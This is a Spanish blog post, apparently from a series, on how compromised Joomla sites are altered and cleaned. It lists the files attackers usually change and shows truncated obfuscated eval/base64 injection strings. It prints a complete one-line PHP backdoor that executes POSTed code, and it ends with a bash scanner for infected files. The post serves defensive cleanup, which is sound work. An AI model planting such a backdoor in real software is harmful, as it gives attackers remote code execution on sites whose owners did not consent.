Lunes, 18 Junio 2012 16:01

Como es atacado un Joomla (2º Parte)

Valora este artículo
(0 votos)

Si en la 1º parte explicamos cuales son los métodos de ataque de un CMS tipo Joomla o Wordpress, ahora comentaremos de que forma es modificado el Joomla y como podemos limpiar lo.
Normalmente los ficheros que se modifican primero son el index.php pero en Jooma también son modificados:

Ver código
/index.php
/includes/framework.php
/templates/xxxx/index.php


* Donde xxxx es el nombre de la plantilla que estamos usando.
Los primero que tenemos que hacer es buscar en dichos ficheros tanto al principio como al final, las siguientes sintaxis:

Ver código
eval(gzinflate(base64_decode('HJ3HbuvIFkU/5zXAAXMaMkcxi2nywJxz5te33IML+BqwJFbV2XstWZKLM+n/qd5mLPtkL/5Jk60gsP/nRT.......akxUhgBILEQ1AACIJo8Z9///79938=')));
eval(@gzinflate(base64_decode('HJ3HbuvIFkU/5zXAAXMaMkcxi2nywJxz5te33IML+BqwJFbV2XstWZKLM+n/qd5mLPtkL/5Jk60gsP/nRT.......akxUhgBILEQ1AACIJo8Z9///79938=')));
preg_replace("/.+/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28......hPLidw/nyu/lEf6Xcg24Mhg8Bqov4C'\x29\x29\x29\x3B",".");


Estas lineas han sido cortadas por los puntos suspensivos, normalmente tienen más de 1200 caracteres, pudiendo llegar a 24.000, lo que nos hace sospechar de que algo raro pasa. En una primera limpieza borraríamos las lineas o sustituiríamos los ficheros modificados por los originales o la ultima copia no alterada. Luego buscaríamos estos patrones en el resto de ficheros y también podemos buscar por fecha de modificación.

Hay que esta atento a los ficheros modificados, porque también pueden incluir una puerta trasera y aunque limpiemos los ficheros o activemos sistemas de seguridad *suhosin o mod_security, hay que buscar este código y eliminarlo. (* suhosin permite limitar el uso de eval pero se necesitan conocimientos porque se podría dejar de funcionar ciertas partes de nuestra web.)

Ver código
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>


Que con un simple POST permite al atacante volver a infectarnos y es difícil de detectar en los registros del apache.
Como ejemplo he creado un pequeño script en bash para buscar ficheros infectados y aunque nos aparecen algunos falsos positivos, siempre es recomendable revisarlos manualmente.

Ver código
#!/bin/bash
 
malware() {
    find -type-iname *.$1| while read file
    do
        a=`awk 'length(\$0) > 1020' "$file"|grep -e "base64_decode\|preg_replace"`
        if [ "$a" ]
        then
            echo $file
        fi
        b=`grep "\$_POST" "$file" |grep -i base64_decode | grep -i eval`
        if [ "$b" ]
        then
            echo $file
        fi
    done
}
 
malware phtml
malware php
malware phps
malware php5


Puedes descargar desde aquí.
icon busca_malware.sh (392 Bytes 2012-06-18 18:31:13) 

Leer 7013 veces Modificado por última vez en Miércoles, 24 Octubre 2012 10:10
Más en esta categoría: Drivers de KVM para Windows »

Escribir un comentario


Código de seguridad
Refescar